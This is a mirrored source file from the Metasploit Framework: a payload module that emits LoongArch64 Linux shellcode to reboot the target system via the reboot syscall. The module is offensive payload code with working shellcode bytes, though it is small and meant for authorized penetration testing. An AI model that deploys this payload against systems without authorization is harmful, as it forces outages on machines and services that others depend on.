Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/loongarch64/reboot.rb
27932 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 32
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
11
12
def initialize(info = {})
13
super(
14
merge_info(
15
info,
16
'Name' => 'Linux Reboot',
17
'Description' => %q{
18
A very small shellcode for rebooting the system using
19
the reboot syscall. This payload is sometimes helpful
20
for testing purposes. Requires CAP_SYS_BOOT privileges.
21
},
22
'Author' => 'bcoles',
23
'License' => MSF_LICENSE,
24
'Platform' => 'linux',
25
'Arch' => ARCH_LOONGARCH64,
26
'References' => [
27
['URL', 'https://man7.org/linux/man-pages/man2/reboot.2.html'],
28
['URL', 'https://github.com/bcoles/shellcode/blob/main/loongarch64/reboot/reboot.s'],
29
]
30
)
31
)
32
end
33
34
def generate(_opts = {})
35
shellcode = [
36
0x15fdc3a4, # lu12i.w $a0, -4579
37
0x03bab484, # ori $a0, $a0, 0xead
38
0x14502425, # lu12i.w $a1, 164129
39
0x03a5a4a5, # ori $a1, $a1, 0x969
40
0x14024686, # lu12i.w $a2, 4660
41
0x03959cc6, # ori $a2, $a2, 0x567
42
0x0382380b, # li.w $a7, 0x8e
43
0x002b0101, # syscall 0x101
44
].pack('V*')
45
46
super.to_s + shellcode
47
end
48
end
49
50